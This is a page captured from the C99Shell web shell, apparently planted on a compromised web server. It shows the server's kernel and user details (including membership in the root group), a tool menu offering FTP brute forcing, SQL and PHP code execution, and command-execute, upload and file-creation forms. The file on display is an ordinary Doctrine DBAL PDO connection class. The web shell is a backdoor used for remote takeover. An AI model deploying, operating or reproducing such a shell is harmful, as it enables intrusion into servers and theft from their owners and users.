!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Driver/PDO/   drwxr-xr-x
Free 28.67 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Connection.php (4.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Driver\PDO;

use 
Doctrine\DBAL\Driver\Exception\UnknownParameterType;
use 
Doctrine\DBAL\Driver\PDO\PDOException as DriverPDOException;
use 
Doctrine\DBAL\Driver\Result as ResultInterface;
use 
Doctrine\DBAL\Driver\ServerInfoAwareConnection;
use 
Doctrine\DBAL\Driver\Statement as StatementInterface;
use 
Doctrine\DBAL\ParameterType;
use 
Doctrine\Deprecations\Deprecation;
use 
PDO;
use 
PDOException;
use 
PDOStatement;

use function 
assert;

final class 
Connection implements ServerInfoAwareConnection
{
    private 
PDO $connection;

    
/** @internal The connection can be only instantiated by its driver. */
    
public function __construct(PDO $connection)
    {
        
$connection->setAttribute(PDO::ATTR_ERRMODEPDO::ERRMODE_EXCEPTION);

        
$this->connection $connection;
    }

    public function 
exec(string $sql): int
    
{
        try {
            
$result $this->connection->exec($sql);

            
assert($result !== false);

            return 
$result;
        } catch (
PDOException $exception) {
            throw 
Exception::new($exception);
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function getServerVersion()
    {
        return 
$this->connection->getAttribute(PDO::ATTR_SERVER_VERSION);
    }

    
/**
     * {@inheritDoc}
     *
     * @return Statement
     */
    
public function prepare(string $sql): StatementInterface
    
{
        try {
            
$stmt $this->connection->prepare($sql);
            
assert($stmt instanceof PDOStatement);

            return new 
Statement($stmt);
        } catch (
PDOException $exception) {
            throw 
Exception::new($exception);
        }
    }

    public function 
query(string $sql): ResultInterface
    
{
        try {
            
$stmt $this->connection->query($sql);
            
assert($stmt instanceof PDOStatement);

            return new 
Result($stmt);
        } catch (
PDOException $exception) {
            throw 
Exception::new($exception);
        }
    }

    
/**
     * {@inheritDoc}
     *
     * @throws UnknownParameterType
     *
     * @psalm-assert ParameterType::* $type
     */
    
public function quote($value$type ParameterType::STRING)
    {
        return 
$this->connection->quote($valueParameterTypeMap::convertParamType($type));
    }

    
/**
     * {@inheritDoc}
     */
    
public function lastInsertId($name null)
    {
        try {
            if (
$name === null) {
                return 
$this->connection->lastInsertId();
            }

            
Deprecation::triggerIfCalledFromOutside(
                
'doctrine/dbal',
                
'https://github.com/doctrine/dbal/issues/4687',
                
'The usage of Connection::lastInsertId() with a sequence name is deprecated.',
            );

            return 
$this->connection->lastInsertId($name);
        } catch (
PDOException $exception) {
            throw 
Exception::new($exception);
        }
    }

    public function 
beginTransaction(): bool
    
{
        try {
            return 
$this->connection->beginTransaction();
        } catch (
PDOException $exception) {
            throw 
DriverPDOException::new($exception);
        }
    }

    public function 
commit(): bool
    
{
        try {
            return 
$this->connection->commit();
        } catch (
PDOException $exception) {
            throw 
DriverPDOException::new($exception);
        }
    }

    public function 
rollBack(): bool
    
{
        try {
            return 
$this->connection->rollBack();
        } catch (
PDOException $exception) {
            throw 
DriverPDOException::new($exception);
        }
    }

    public function 
getNativeConnection(): PDO
    
{
        return 
$this->connection;
    }

    
/** @deprecated Call {@see getNativeConnection()} instead. */
    
public function getWrappedConnection(): PDO
    
{
        
Deprecation::triggerIfCalledFromOutside(
            
'doctrine/dbal',
            
'https://github.com/doctrine/dbal/pull/5037',
            
'%s is deprecated, call getNativeConnection() instead.',
            
__METHOD__,
        );

        return 
$this->getNativeConnection();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--